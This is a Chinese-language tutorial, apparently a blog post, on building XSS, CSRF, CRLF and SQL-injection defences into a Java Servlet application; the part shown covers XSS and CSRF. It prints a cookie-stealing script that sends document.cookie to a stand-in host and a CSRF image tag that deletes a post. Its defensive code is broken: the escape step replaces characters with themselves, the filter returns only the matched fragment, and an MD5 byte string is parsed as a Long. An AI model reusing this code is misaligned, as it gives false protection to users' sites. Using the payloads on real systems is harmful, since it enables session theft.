当前网络攻击日益猖獗,各种入侵手段层出不穷。众多信息系统因为只重视业务逻辑和敏捷开发的缘故,没有在安全检测这一块给予足够的关注和一定分析,从而往往成为黑客或不法分子眼中的目标。当前信息系统多为基于 Web 的 B/S 结构系统,故本文尝试提供一种基于 Web 服务安全检测和防御的设计,并给出代码实现,务求能够防御 Web 常见的 XSS 攻击、CSRF 攻击、CRLF 注入和 SQL 注入攻击,另外包括提供 POST 白名单检测和 Cookies 加密等。
本文代码基于 Java Web 环境,在 Java 1.7 + Tomcat 7 上面通过。
跨站脚本攻击 XSS 检测
跨站脚本攻击英文全称 Cross Site Script,一般 Cross 可作 X,故在安全领域就叫做“XSS”(下面亦用此简称)。XSS 可算客户端安全领域之中的“头号大敌”。OWASP Top 10 中 XSS 一直是名列前茅的。
XSS 原理分析
自然地,Web 浏览器有“域 Domain”的概念,两个不同的域名下就是不同的“域”。即时主机名不相同,例如 a.qq.com 和 b.qq.com,都被视作不同的两个域。域的概念是浏览器“同源策略(Same Origin Policy)”的依据。同一域下面资源可以自由相互访问,但不同域下面的资源,浏览器是会严格限制的。访问不同域谓之“跨域”或“跨站”。
浏览器中, 来加载 b.js,但 b.js 却有权限通过脚本修改或影响 a 网站的页面内容,甚至发出 HTTP 请求。与之相比,异步请求 XMLHttpRequest 却禁止了跨域请求。
假设我们欺骗用户点击一 web 页面,页面包含一段盗取用户 Cookie 的脚本:
new Image().src ="http://my.com/steal.jsp?data=" + escape(document.cookie);
攻击发生后目标用户的 Cookie 信息就会被盗取,攻击者就可以利用该 Cookie 控制目标用户的账号。
XSS 检测与防御
对于 XSS 检测和防御就是 XSS 的过滤,具体过程是获取用户输入参数和参数值进行 XSS 过滤,对 Header 和 Cookie value 值进行 XSS 过滤(转码 Script 标签的 < > 符号)。
本文利用 Servlet API 自带的 HttpServletRequestWrapper 来封装了这部分的逻辑。
public class SecurityRequest extends HttpServletRequestWrapper { public SecurityRequest(HttpServletRequest request) { super(request); } …… // 重写原方法 }
首先是请求参数的过滤。凡是涉及获取参数的方法都要重写,例如 getParameter()、getParameterMap()、getParameterValues()。举一个例子,要重写 getParameter () 的话代码将是如下。
@Override public String getParameter(String name) { name = XSS.xssFilter(name, XSS.XssFilterTypeEnum.DELETE.getValue()); return XSS.xssFilter(super.getParameter(name), null); }
其中关键的是静态方法 xssFilter(),通过正则表达式的匹配 <script> 脚本标签来转码 Script 标签的 < > 符号。
/** * XSS 过滤器 * @param input * 输入内容 * * @param filterType * 过滤器类型 * @return */ public static String xssFilter(String input, String filterType) { if (input == null || "".equals(input)) return input; if (filterType == null || !XssFilterTypeEnum.checkValid(filterType)) filterType = XssFilterTypeEnum.ESCAPSE.getValue(); // 默认转义 if (filterType.equals(XssFilterTypeEnum.ESCAPSE.getValue())) { Matcher matcher = xssPattern.matcher(input); if (matcher.find()) return matcher.group().replace("<", "<").replace(">", ">"); } if (filterType.equals(XssFilterTypeEnum.DELETE.getValue())) return input.replaceAll(xssType, ""); return input; }
对于响应对象 Resposne 也要进行过滤。在继承 HttpServletResponseWrapper 的新响应类之中,重写下面的方法。
@Override public void addHeader(String name, String value) { super.addHeader(CLRF.filterCLRF(name), XSS.xssFilter(CLRF.filterCLRF(value), null)); } @Override public void setHeader(String name, String value) { super.setHeader(CLRF.filterCLRF(name), XSS.xssFilter(CLRF.filterCLRF(value), null)); } @SuppressWarnings("deprecation") @Override public void setStatus(int sc, String sm) { super.setStatus(sc, XSS.xssFilter(sm, null)); }
跨站请求伪造 CSRF 检测
从释义上讲,CSRF 和 XSS 很相近,但关键的不同点在于,CSRF 的跨站是伪造的——不过,伪造的定义却是模糊的。一般情况下,如果请求不是用户发出的意愿,则这个请求可以列入 CSRF 的定义范围。
CSRF 原理分析
例如目标网站 a.com,恶意网站 b.com。目标网站上有一个删除文章的功能,连接是 a.com/blog/del.jsp?id=1。这时我们欺骗用户成功登录 a.com,然后访问 b.com/csrf.htm 页面,该页面包含这样的攻击代码:<img src=”http://a.com/blog/del.jsp?id=1” /> 即可删除 a.com 上面的文章。该过程是身份认证之后完成的。
CSRF 检测与防御
业界针对 CSRF 的防御,一致的做法是使用 TokenID。具体流程是先使用 CsrfTokenId Creator 生成 csrf tokenid 后放入表单还有 Session 中,key名称必须为csrf_开头;然后对 POST 表单提交进行CSRF TokenID 验证。下面是具体代码,可以在 Servlet Filter 中调用。
private static final String CSRFTOKEN_PREFIX = "csrf_"; private static final String POST = "POST"; public void checkCsrfToken() throws SecurityException { if (getMethod().equals(POST)) { String csrfTokenKey = getTokenName(); long csrfTokenId = (Long) getSession().getAttribute(csrfTokenKey), paramCsrfToken = Long.parseLong(getParameter(csrfTokenKey)); if (csrfTokenId != paramCsrfToken) throw new SecurityException("post method csrf token not valid."); } } /** * 获取 csrf_开头的 key * * @return */ private String getTokenName() { Iterator<Entry<String, String[]>> iter = getParameterMap().entrySet().iterator(); while (iter.hasNext()) { Entry<String, String[]> entry = iter.next(); if (entry.getKey().startsWith(CSRFTOKEN_PREFIX)) return entry.getKey(); } return null; } /** * 使用CsrfTokenIdCreator生成csrf tokenid后放入表单 * * @param session * @return */ public static String getCsrfTokenId(HttpSession session) { String str = session.getCreationTime() + session.getId(); try { return new String(MessageDigest.getInstance("MD5").digest(str.getBytes())); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return null; } }
如果 Token 不通过则中断 Servlet Filter 过滤器。
(请待续……)